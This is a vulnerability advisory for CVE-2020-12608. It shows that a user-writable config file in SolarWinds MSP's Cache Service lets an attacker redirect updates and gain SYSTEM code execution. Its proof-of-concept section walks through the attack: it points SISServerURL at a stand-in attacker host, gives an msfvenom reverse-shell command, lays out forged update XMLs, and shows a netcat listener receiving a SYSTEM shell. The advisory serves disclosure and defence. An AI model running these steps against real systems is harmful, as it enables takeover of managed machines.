Title: SolarWinds MSP PME Cache Service - Insecure File Permissions / Code Execution Author: Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG GitHub: https://github.com/jensregel/Advisories/tree/master/CVE-2020-12608 CVSSv3: 8.2 [CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H] CVE: CVE-2020-12608 CWE: 276 Vulnerable version ================== SolarWinds MSP PME (Patch Management Engine) before 1.1.15 Timeline ======== 2020-04-24 Vulnerability discovered 2020-04-27 Send details to SolarWinds PSIRT 2020-04-27 SolarWinds confirmed the vulnerability 2020-05-05 SolarWinds released PME version 1.1.15 2020-05-06 Public disclosure Description =========== An error with insecure file permissions has occurred in the SolarWinds MSP Cache Service, which is part of the Advanced Monitoring Agent and can lead to code execution. The SolarWinds MSP Cache Service is typically used to get new update definition files and versions for ThirdPartyPatch.exe or SolarWinds MSP Patch Management Engine Setup. The XML file CacheService.xml in %PROGRAMDATA%\SolarWinds MSP\SolarWinds.MSP.CacheService\config\ is writable by normal users, so that the parameter SISServerURL can be changed, which controls the location of the updates. After some analysis, we were able to provide modified XML files (PMESetup_details.xml and ThirdPartyPatch_details.xml) that point to an executable file with a reverse TCP payload using our controlled SISServerURL web server for SolarWinds MSP Cache Service. Proof of Concept (PoC) ====================== As we can see, NTFS change permissions are set to CacheService.xml by default. Any user on the system who is in group users can change the file content. This is especially a big problem on terminal servers or multi-user systems. PS C:\ProgramData\SolarWinds MSP\SolarWinds.MSP.CacheService\config> icacls .\CacheService.xml .\CacheService.xml VORDEFINIERT\Benutzer:(I)(M) NT-AUTORITÄT\SYSTEM:(I)(F) VORDEFINIERT\Administratoren:(I)(F) 1. Modify CacheService.xml In the xml file, the parameter SISServerURL was adjusted, which now points to a web server controlled by the attacker. True 1.1.14.2223 C:\ProgramData\SolarWinds MSP\SolarWinds.MSP.CacheService\cache 10240 https://evil-attacker.example.org 5 AQAAANCMnd8BFdER(...) RMM True 1 300 1 2. Payload creation Generate an executable file, for example using msfvenom, that establishes a reverse tcp connection to the attacker and store it on the web server. msfvenom -p windows/x64/shell_reverse_tcp lhost=x.x.x.x lport=4444 -f exe > /tmp/solarwinds-shell.exe 3. Prepare web server Place the modified xml files (PMESetup_details.xml or ThirdPartyPatch_details.xml) on the web server in the path /ComponentData/RMM/1/, calculate MD5, SHA1 and SHA256 checksums of the executable, set correct values for SizeInBytes and increase the version. Example of PMESetup_details.xml Patch Management Engine Patch Management Engine 7a4a78b105a1d750bc5dfe1151fb70e1 3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac 80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65 7168 /ComponentData/RMM/1/solarwinds-shell.exe solarwinds-shell.exe x86,x64 all 1.1.14.2224 Example of ThirdPartyPatch_details.xml Third Party Patch Third Party Patch application for Patch Management Engine RMM v 1 and later 7a4a78b105a1d750bc5dfe1151fb70e1 3d9ed6bd44b5cf70a3fed8f511d9bc9273a1feac 80579df2533d54fe9cbc87aed80884f6a97e1ccdd0443ce2bcb815ef59ed3d65 7168 /ComponentData/RMM/1/solarwinds-shell.exe solarwinds-shell.exe x86,x64 all 1.2.1.95 4. Malicious executable download After restarting the system or reloading the CacheService.xml, the service connects to the web server controlled by the attacker and downloads the executable file. This is then stored in the path %PROGRAMDATA%\SolarWinds MSP\SolarWinds.MSP.CacheService\cache\ and %PROGRAMDATA%\SolarWinds MSP\PME\archives\. [24/Apr/2020:10:57:01 +0200] "HEAD /ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1" 200 5307 "-" "-" [24/Apr/2020:10:57:01 +0200] "GET /ComponentData/RMM/1/solarwinds-shell.exe HTTP/1.1" 200 7585 "-" "-" 5. Getting shell After a certain time the executable file is executed by SolarWinds MSP RPC Server service and establishes a connection with the rights of the system user to the attacker. [~]: nc -nlvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [x.x.x.x] port 4444 [tcp/*] accepted (family 2, sport 49980) Microsoft Windows [Version 10.0.18363.778] (c) 2019 Microsoft Corporation. Alle Rechte vorbehalten. C:\WINDOWS\system32>whoami whoami nt-authority\system C:\WINDOWS\system32> Fix === There is a new PME version 1.1.15 which comes with auto-update https://success.solarwindsmsp.com/forum-post/X0D51T00007TMk6jSAD/